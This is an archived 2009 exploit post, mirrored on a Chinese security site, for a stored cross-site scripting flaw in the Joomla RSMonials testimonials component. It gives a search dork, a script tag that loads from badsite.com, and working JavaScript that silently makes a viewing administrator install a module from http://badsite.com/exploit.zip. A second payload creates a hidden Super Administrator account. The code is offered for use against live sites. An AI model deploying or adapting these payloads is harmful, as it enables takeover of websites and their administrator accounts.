首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Joomla Component rsmonials Remote Cross Site Scxripting Exploit
来源:www.vfcocus.net 作者:jdc 发布时间:2009-04-23  

/*
RSMonials XSS Exploit

http://www.rswebsols.com/downloads/category/14-download-rsmonials-all?download=23%3Adownload-rsmonials-component

Google Dork: allinurl:option=com_rsmonials

Anything entered into the form gets rendered as HTML, so you can add tags
as long as they don't include quotes (magic quotes eats them, if it's on).
This component ships with settings that prevent posting by default, but
the administrator page for the testimonials renders your script in its entirety.

Proof of Concept 1: Remote file upload

Visit http://target.com/index.php?option=com_rsmonials and post a comment.
At the end of your glowing comment about how awesome the site is, attach this:

<script src=http://badsite.com/evil.js></script>

Now, when your admin goes to the com_rsmonials "Testimonials" page, your
script will execute. In this example, a hidden iframe loads up the install
page and installs a 'custom' module.

*/

var exploited = false;
var iframe = document.createElement( 'iframe' );
var reg = new RegExp( 'administrator' );
if( reg.test( location.href ) )
{
 iframe.src = 'index.php?option=com_installer';
 iframe.setStyle( 'display', 'none' );
 document.body.appendChild( iframe );
 iframe.addEvent( 'load', exploit );
}
function exploit( e )
{
 if( exploited != true )
 {
  var doc = e.target.contentDocument; if( !doc ) return;
  var inp = doc.getElementById( 'install_url' );
  inp.value = 'http://badsite.com/exploit.zip';
  var b = inp.parentNode.getElementsByTagName( 'input' )[1];
  b.onclick();
  exploited = true;
 }
}

/*

Proof of Concept 2: New Super Administrator

Here's a drop-in replacement for the 'exploit' function above:

function exploit( e )
{
 if( exploited != true )
 {
  var newForm = false;
  var doc = e.target.contentDocument; if( !doc ) return;
  var nb = doc.getElementsByTagName( 'a' ); if( !nb ) return;
  var i = 0;
  for( ; i<nb.length; i++ )
  {
   if( nb[i].parentNode.id == 'toolbar-new' )
   {
    nb[i].onclick();
   }
   else if( nb[i].parentNode.id == 'toolbar-save' )
   {
    doc.getElementById( 'name' ).value = 'hacked';
    doc.getElementById( 'username' ).value = 'hacked';
    doc.getElementById( 'email' ).value = 'your@freemail.com';
    doc.getElementById( 'password' ).value = 'password';
    doc.getElementById( 'password2' ).value = 'password';
    var g = doc.getElementById( 'gid' );
    g.selectedIndex = g.options.length - 1;
    nb[i].onclick();
    exploited = true;
   }
  }
 }
}

If the admin is a Super Admin, then you could be too... just remember to watch
your freemail account for Joomla's account notification!

*/
/* jdc 2009 */


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Dokeos LMS <= 1.8.5 (include)
·Femitter FTP Server 1.03 Arbit
·Counter Strike Source ManiAdmi
·CoolPlayer Portable 2.19.1 (m3
·Xitami Web Server <= 5.0 Remot
·Zervit Webserver 0.3 Remote De
·Oracle RDBMS 10.2.0.3/11.1.0.6
·PJblog V3.0 0day+EXP
·Dokeos LMS <= 1.8.5 (whoisonli
·Exploits Trend Micro OfficeSca
·CoolPlayer Portable 2.19.1 (m3
·Zervit HTTP Server <= 0.3 (soc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved